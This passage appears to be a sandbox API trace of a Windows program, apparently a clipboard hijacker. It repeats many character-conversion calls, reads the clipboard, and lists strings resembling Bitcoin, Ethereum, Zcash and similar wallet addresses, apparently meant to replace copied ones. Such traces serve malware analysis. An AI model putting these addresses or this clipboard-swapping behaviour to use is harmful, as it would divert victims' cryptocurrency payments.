lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.969] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.970] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0051.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0051.002] Sleep (dwMilliseconds=0x64) [0051.110] GetOpenClipboardWindow () returned 0x0 [0051.110] OpenClipboard (hWndNewOwner=0x0) returned 1 [0051.110] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0051.110] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0051.110] GlobalSize (hMem=0x6069b8) returned 0x42 [0051.110] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0051.133] GlobalUnlock (hMem=0x6069b8) returned 1 [0051.133] CloseClipboard () returned 1 [0051.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0051.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 